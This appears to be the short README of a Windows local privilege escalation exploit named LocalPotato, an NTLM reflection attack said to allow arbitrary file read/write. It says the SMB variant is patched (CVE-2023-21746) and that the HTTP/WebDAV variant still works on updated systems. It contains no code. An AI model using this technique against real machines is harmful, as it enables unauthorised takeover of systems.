Another Local Windows privilege escalation using a new potato technique ;)

The LocalPotato attack is a type of NTLM reflection attack that targets local authentication. This attack allows for arbitrary file read/write and elevation of privilege.

NOTE: The SMB scenario has been fixed by Microsoft in the January 2023 Patch Tuesday with the CVE-2023-21746. If you run this exploit against a patched machine it won't work.

NOTE2: The HTTP/WebDAV scenario is currently unpatched (Microsoft decision, we reported it) and works on updated systems.
